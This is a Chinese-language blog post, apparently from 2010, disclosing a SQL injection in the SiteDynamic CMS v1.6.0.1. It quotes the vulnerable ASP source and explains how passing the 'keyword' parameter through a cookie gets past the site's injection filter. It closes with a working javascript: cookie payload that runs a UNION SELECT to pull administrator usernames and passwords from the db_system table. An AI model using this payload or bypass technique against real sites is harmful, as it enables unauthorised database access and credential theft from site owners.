首页 电脑 电脑学堂 查看内容

SiteDynamic v1.6.0.1 Sql Injection 0day

2010-1-30 18:33 696 0

摘要: 文/My5t3rySiteDynamic企业网站管理系统 v1.6.0.1我就不多说了,用的站也不多,帮朋友挖的洞,论坛上熙雅就发过它用的fckeditor编辑器的上传漏洞。废话不多说,看代码: ...
关键词: nbsp pageID then response End rs nbs Trim strChiID write

文/My5t3rySiteDynamic企业网站管理系统 v1.6.0.1我就不多说了,用的站也不多,帮朋友挖的洞,论坛上熙雅就发过它用的fckeditor编辑器的上传漏洞。废话不多说,看代码: 001//   /page/default.asp    5-122行  002    003    004 <%  005 pageID=strCLng(Trim(Request("pageID")))  006 ID=strCLng(Trim(Request("ID")))  007    008 If isNumeric(pageID) = False Then 009         FoundErr=True 010         Message=Message & "<li>参数错误!</li>" 011 End If 012    013 if FoundErr<>True then  014    015 if ID=0 then  016    017         If pageID<>0 Then 018                 set rs=server.CreateObject("adodb.recordset")  019                 sql="Select * from db_channel where pageID="&pageID  020                 rs.open sql,conn,1,1  021                 pageName=rs("pageName")  022                 description=rs("description")  023                 keywords=rs("keywords")  024                 pic=rs("pic")  025                 link=rs("link")  026                 PageMode=rs("PageMode")  027                 PageAmount=rs("PageAmount")  028                 PageLine=rs("PageLine")  029                 intro=rs("intro")  030    031                 If Not rs.Eof Then 032                         if rs("pageID")>0 then  033                                 if rs("ChiID")>0 then  034                                         strChiID="" 035                                         set strRs=conn.execute("select pageID from db_channel where ParentID=" & rs("pageID") & " or ParentPath like '" & rs("ParentPath") & "," & rs("pageID") & ",%'")  036            037                                         do while not strRs.eof  038                                                 if strChiID="" then  039                                                         strChiID=strRs(0)  040                                                 else  041                                                         strChiID=strChiID & "," & strRs(0)  042                                                 end if  043                                                 strRs.movenext  044                                         loop  045                                 else  046                                         strChiID=pageID  047                                 end if  048                         end if  049                 end If 050                 rs.close  051                 set rs=nothing  052            053                 sql="select * from db_page Where pageID in ("&strChiID&")" 054         Else 055                 sql="select * from db_page where 1=1" 056         End If 057 else  058                 sql="select * from db_page where ID="&ID&"" 059 End if  060    061 if not (Trim(Request("keyword"))="" or isempty(Trim(Request("keyword"))) ) then  062         sql=sql&" and (title like '%" & Trim(Request("keyword")) & "%' or content like  '%" & Trim(Request("keyword")) & "%')"    //bugs  063 end if  064    065 sql=sql&" order by dateandtime desc" 066 'response.write sql  067 'response.end  068 set rs=server.CreateObject("adodb.recordset")  069 rs.open sql,conn,1,1  070    071 if ID<>0 then  072         if Trim(rs("PageMode"))=4 then  073                 response.redirect Trim(rs("URL"))  074         end if  075         '文件类型  076         if Trim(rs("PageMode"))=3 then  077                 filesURL=Trim(rs("files"))  078                 If filesURL = "" Then 079                         response.write "No data!" 080                 End If 081                 Call Getdownload(filesURL)  082         end if  083    084         srtTitle=Trim(rs("Title"))  085         srtPageID=Trim(rs("pageID"))  086         description=rs("description")  087         keywords=rs("keywords")  088 end if  089    090 sub getTitle()  091         if pageID=0 and ID=0 then  092                 response.write "全文检索" 093         elseif pageID<>0 then  094                 response.write ""&pageName&"" 095         elseif ID<>0 then  096                 response.write "" & srtTitle & "" 097         end if  098 end sub  099    100 sub getadoTitle()  101         if pageID=0 and ID=0 then  102                 response.write "全文检索" 103         elseif pageID<>0 then  104                 response.write ""&pageName&"" 105         elseif ID<>0 then  106                 doPageID=rs("PageID")  107                 set doRs=server.CreateObject("adodb.recordset")  108                 Set doRs=conn.Execute("Select * From db_channel Where pageID="&doPageID)  109                 response.write "" & Trim(doRs("pageName")) & "" 110         end if  111 end sub  112    113 sub getLocation()  114         if pageID=0 and ID=0 then  115                 response.write "-&gt;&gt;全文检索" 116         elseif ID<>0 then  117                 call Nav(srtPageID)  118         else  119                 call Nav(pageID)  120         end if  121 end sub   这套系统包含了防注系统,但只检测request.QueryString,request.form ,上面代码中keyword是通过request()获取的,所以可以用cookies来绕过防注。利用代码 javascript:alert(document.cookie="keyword=" + escape("a%') union select 1,2,3,username&chr(124)&Password,5,6,7,8,9,0,1,2,3,4,5,6 from db_system union select 1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6 from db_page where 1=2 and (title like '%a"));location.href="/page/Default.asp?pageID=0";   漏洞很简单,没什么好说的,要说的一点就是很多朋友遇到搜索型的注入都是直接盲注了,其实只要闭合的好,还是可以使用union的。   PS:重点在于利用的技巧 。。注入语句的写法
声明:文章版权归原作者所有 部分文章转自互联网 如有侵权请联系 [邮箱地址] 删除

路过

雷人

握手

鲜花

鸡蛋

最新评论

返回顶部